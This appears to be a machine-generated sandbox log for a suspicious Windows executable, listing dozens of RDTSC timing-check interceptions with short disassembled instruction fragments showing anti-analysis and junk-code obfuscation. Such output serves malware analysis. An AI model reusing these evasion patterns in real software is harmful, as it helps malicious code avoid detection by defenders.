Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDD5A second address: AEDD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDD63 second address: AEDD67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDEA9 second address: AEDEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F10A8DE1CD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEE17D second address: AEE183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEE85B second address: AEE870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ABBC70 second address: ABBCA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jmp 00007F10A8C33EFEh 0x0000000e jg 00007F10A8C33EFEh 0x00000014 pushad 0x00000015 jmp 00007F10A8C33F01h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEF0D3 second address: AEF0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F10A8DE1CE6h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEF0F2 second address: AEF0F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEF0F7 second address: AEF10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F10A8DE1CDFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEF589 second address: AEF59A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F10A8C33EFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEF59A second address: AEF59F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEF59F second address: AEF5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F10A8C33EFCh 0x0000000b jno 00007F10A8C33EF6h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 jns 00007F10A8C33EF6h 0x0000001c pop eax 0x0000001d pushad 0x0000001e push edx 0x0000001f pop edx 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEF83B second address: AEF844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AF9EA9 second address: AF9EAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AF9FB5 second address: AF9FB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFA404 second address: AFA408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFC114 second address: AFC118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFC118 second address: AFC11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFC401 second address: AFC40B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F10A8DE1CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFC40B second address: AFC411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFCCBF second address: AFCCC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFCCC5 second address: AFCCDB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F10A8C33EFAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFCE4F second address: AFCE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F10A8DE1CD6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F10A8DE1CD8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 xchg eax, ebx 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F10A8DE1CDAh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFCE91 second address: AFCEA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jo 00007F10A8C33F02h 0x0000000e jp 00007F10A8C33EFCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFD45B second address: AFD468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F10A8DE1CDCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFD468 second address: AFD4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D26ADh], edi 0x0000000e push 00000000h 0x00000010 jne 00007F10A8C33EFCh 0x00000016 sub edi, dword ptr [ebp+122D2A98h] 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D2D56h], esi 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F10A8C33EFEh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFDF1F second address: AFDF29 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F10A8DE1CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFEECA second address: AFEF42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F10A8C33EF8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007F10A8C33EF8h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 push 00000000h 0x00000044 jmp 00007F10A8C33F01h 0x00000049 push eax 0x0000004a pushad 0x0000004b jl 00007F10A8C33EFCh 0x00000051 jns 00007F10A8C33EF6h 0x00000057 push edi 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AFE6CE second address: AFE6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B004E9 second address: B004ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B00F8F second address: B00FD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F10A8DE1CDAh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f movsx esi, dx 0x00000012 push 00000000h 0x00000014 ja 00007F10A8DE1CDCh 0x0000001a mov dword ptr [ebp+122D1A12h], eax 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jnl 00007F10A8DE1CE9h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B00FD8 second address: B00FDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B01A93 second address: B01A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B01A97 second address: B01A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0255C second address: B0256A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B09FC3 second address: B09FC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B09FC9 second address: B0A03B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 or edi, 4A5D855Ch 0x0000000f mov dword ptr [ebp+122D1973h], ebx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+12479881h], esi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F10A8DE1CD8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 jmp 00007F10A8DE1CE8h 0x0000003e mov dword ptr [ebp+122D1C9Dh], eax 0x00000044 mov bx, ax 0x00000047 xchg eax, esi 0x00000048 pushad 0x00000049 jmp 00007F10A8DE1CDDh 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0A03B second address: B0A03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0A03F second address: B0A043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0A043 second address: B0A05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F10A8C33F02h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0A05F second address: B0A064 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0B100 second address: B0B106 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0A211 second address: B0A22A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0A22A second address: B0A240 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F10A8C33EFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0B38F second address: B0B394 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0B394 second address: B0B3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F10A8C33F04h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0D505 second address: B0D509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0E3A8 second address: B0E3FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F10A8C33EF6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 add edi, dword ptr [ebp+122D2C58h] 0x00000017 push 00000000h 0x00000019 clc 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F10A8C33EF8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov edi, 42D1CC2Ah 0x0000003b jne 00007F10A8C33EFAh 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jnc 00007F10A8C33EF6h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0D509 second address: B0D50F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0E3FF second address: B0E405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0D50F second address: B0D519 instructions: 0x00000000 rdtsc 0x00000002 js 00007F10A8DE1CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0E681 second address: B0E687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B104A3 second address: B104A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0F710 second address: B0F71F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0E687 second address: B0E68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0F71F second address: B0F723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B104A9 second address: B10507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 jmp 00007F10A8DE1CE1h 0x0000000c pop ebx 0x0000000d nop 0x0000000e mov edi, dword ptr [ebp+122D2B58h] 0x00000014 mov ebx, dword ptr [ebp+122D29B0h] 0x0000001a push 00000000h 0x0000001c xor dword ptr [ebp+122D2DBDh], ebx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F10A8DE1CD8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e mov ebx, eax 0x00000040 xchg eax, esi 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 jp 00007F10A8DE1CD6h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0E68B second address: B0E6DC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F10A8C33EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F10A8C33F02h 0x00000014 jmp 00007F10A8C33F03h 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F10A8C33F09h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B0F723 second address: B0F729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1150E second address: B11527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F10A8C33F01h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1245A second address: B124A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F10A8DE1CDAh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F10A8DE1CD8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D1AE4h], ebx 0x0000002e push 00000000h 0x00000030 xor di, ADE1h 0x00000035 push 00000000h 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push ebx 0x0000003c pop ebx 0x0000003d pop eax 0x0000003e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B124A2 second address: B124A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B124A8 second address: B124AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1069D second address: B106A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B106A3 second address: B106C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F10A8DE1CD8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F10A8DE1CE1h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B10784 second address: B1078C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B12611 second address: B12691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D29E8h] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F10A8DE1CD8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 mov eax, dword ptr [ebp+122D0ED1h] 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007F10A8DE1CD8h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 00000017h 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 or di, 3D25h 0x0000005a xor dword ptr [ebp+122D37BBh], edx 0x00000060 push FFFFFFFFh 0x00000062 push edx 0x00000063 sub ebx, dword ptr [ebp+122D2A48h] 0x00000069 pop edi 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jnc 00007F10A8DE1CD8h 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B143CD second address: B143D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B143D1 second address: B1445A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F10A8DE1CD8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 clc 0x00000024 call 00007F10A8DE1CDAh 0x00000029 stc 0x0000002a pop edi 0x0000002b push 00000000h 0x0000002d call 00007F10A8DE1CDBh 0x00000032 mov ebx, dword ptr [ebp+122D2B2Ch] 0x00000038 pop edi 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007F10A8DE1CD8h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 sub dword ptr [ebp+122D1B03h], edi 0x0000005b mov bx, 497Bh 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F10A8DE1CE0h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1445A second address: B14464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F10A8C33EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B14464 second address: B14468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1462E second address: B14633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B173E8 second address: B173F2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F10A8DE1CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B17580 second address: B175B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F10A8C33F09h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1F629 second address: B1F62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AC260A second address: AC264B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F03h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F10A8C33EFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F10A8C33F08h 0x00000017 rdtsc
